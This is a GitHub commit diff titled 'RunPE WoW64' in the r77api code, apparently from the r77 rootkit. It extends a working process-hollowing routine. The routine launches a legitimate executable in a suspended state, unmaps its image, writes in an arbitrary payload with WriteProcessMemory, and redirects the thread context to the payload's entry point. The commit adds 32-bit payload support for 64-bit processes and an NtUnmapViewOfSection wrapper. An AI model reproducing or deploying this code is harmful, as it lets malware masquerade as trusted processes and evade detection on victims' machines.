Skip to content

Commit 5077b0e

Browse files
author
bytecode77
committed
RunPE WoW64
1 parent 6463238 commit 5077b0e

File tree

3 files changed

+88
-18
lines changed

3 files changed

+88
-18
lines changed

r77api/ntdll.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -650,6 +650,7 @@ typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM
650650
typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
651651
typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
652652
typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
653+
typedef NTSTATUS(NTAPI *NT_NTUNMAPVIEWOFSECTION)(HANDLE processHandle, LPVOID baseAddress);
653654
typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation);
654655
typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
655656
typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);

r77api/r77win.c

Lines changed: 84 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -697,26 +697,38 @@ BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
697697
}
698698
BOOL RunPE(LPCWSTR path, LPBYTE payload)
699699
{
700+
BOOL isPayload64Bit;
701+
if (IsExecutable64Bit(payload, &isPayload64Bit))
702+
{
703+
if (isPayload64Bit && BITNESS(32))
704+
{
705+
// Cannot inject 64-bit payload from 32-bit process.
706+
return FALSE;
707+
}
708+
}
709+
else
710+
{
711+
return FALSE;
712+
}
713+
700714
// For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
701715
// This is a workaround to the well known stability issue of process hollowing.
702716
for (DWORD i = 0; i < 5; i++)
703717
{
704-
DWORD processId = 0;
705-
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
718+
STARTUPINFOW startupInfo;
719+
PROCESS_INFORMATION processInformation;
720+
i_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
721+
i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
722+
startupInfo.cb = sizeof(startupInfo);
706723

707-
if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
724+
if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation))
708725
{
709-
STARTUPINFOW startupInfo;
710-
PROCESS_INFORMATION processInformation;
711-
i_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
712-
i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
713-
startupInfo.cb = sizeof(startupInfo);
714-
715-
if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation))
726+
if (isPayload64Bit == BITNESS(64))
716727
{
717-
processId = processInformation.dwProcessId;
728+
// Payload bitness matches current process bitness
718729

719-
//TODO: NtUnmapViewOfSection here
730+
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
731+
R77_NtUnmapViewOfSection(processInformation.hProcess, ntHeaders->OptionalHeader.ImageBase);
720732

721733
LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
722734
if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
@@ -744,7 +756,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
744756
if (GetThreadContext(processInformation.hThread, context))
745757
{
746758
#ifdef _WIN64
747-
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL))
759+
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL))
748760
{
749761
context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
750762
if (SetThreadContext(processInformation.hThread, context) &&
@@ -754,7 +766,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
754766
}
755767
}
756768
#else
757-
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL))
769+
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
758770
{
759771
context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
760772
if (SetThreadContext(processInformation.hThread, context) &&
@@ -769,11 +781,63 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
769781
}
770782
}
771783
}
784+
else
785+
{
786+
// Spawn 32-bit process from this 64-bit process.
787+
788+
if (!IsAtLeastWindows10())
789+
{
790+
//TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
791+
return FALSE;
792+
}
793+
794+
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
795+
R77_NtUnmapViewOfSection(processInformation.hProcess, ntHeaders->OptionalHeader.ImageBase);
796+
797+
LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
798+
if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
799+
{
800+
BOOL sectionsWritten = TRUE;
801+
802+
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
803+
{
804+
PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER);
805+
806+
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL))
807+
{
808+
sectionsWritten = FALSE;
809+
break;
810+
}
811+
}
812+
813+
if (sectionsWritten)
814+
{
815+
PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE);
816+
if (context)
817+
{
818+
context->ContextFlags = WOW64_CONTEXT_FULL;
819+
820+
if (Wow64GetThreadContext(processInformation.hThread, context))
821+
{
822+
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
823+
{
824+
context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
825+
if (Wow64SetThreadContext(processInformation.hThread, context) &&
826+
ResumeThread(processInformation.hThread) != -1)
827+
{
828+
return TRUE;
829+
}
830+
}
831+
}
832+
}
833+
}
834+
}
835+
}
772836
}
773837

774-
if (processId != 0)
838+
if (processInformation.dwProcessId != 0)
775839
{
776-
HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId);
840+
HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processInformation.dwProcessId);
777841
if (process)
778842
{
779843
TerminateProcess(process, 0);
@@ -914,6 +978,10 @@ NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, L
914978
// CreateRemoteThread does not work across sessions in Windows 7.
915979
return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
916980
}
981+
NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress)
982+
{
983+
return ((NT_NTUNMAPVIEWOFSECTION)GetFunction("ntdll.dll", "NtUnmapViewOfSection"))(processHandle, baseAddress);
984+
}
917985
NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation)
918986
{
919987
return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation);

r77api/r77win.h

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -251,9 +251,9 @@ HANDLE CreatePublicNamedPipe(LPCWSTR name);
251251
BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit);
252252
/// <summary>
253253
/// Creates a new process using the process hollowing technique.
254-
/// <para>The bitness of the current process, the created process and the payload must match.</para>
254+
/// <para>If the current process is a 32-bit process, only 32-bit processes can be created.</para>
255255
/// </summary>
256-
/// <param name="path">The target executable path. This can be any existing file with the same bitness as the current process and the payload.</param>
256+
/// <param name="path">The target executable path. This can be any existing file with the same bitness as the payload.</param>
257257
/// <param name="payload">The actual executable that is the payload of the new process, regardless of the path argument.</param>
258258
/// <returns>
259259
/// TRUE, if this function succeeds;
@@ -286,6 +286,7 @@ VOID UnhookDll(LPCWSTR name);
286286

287287
NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
288288
NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
289+
NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress);
289290
NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation);
290291
NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
291292
NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);

0 commit comments

Comments
 (0)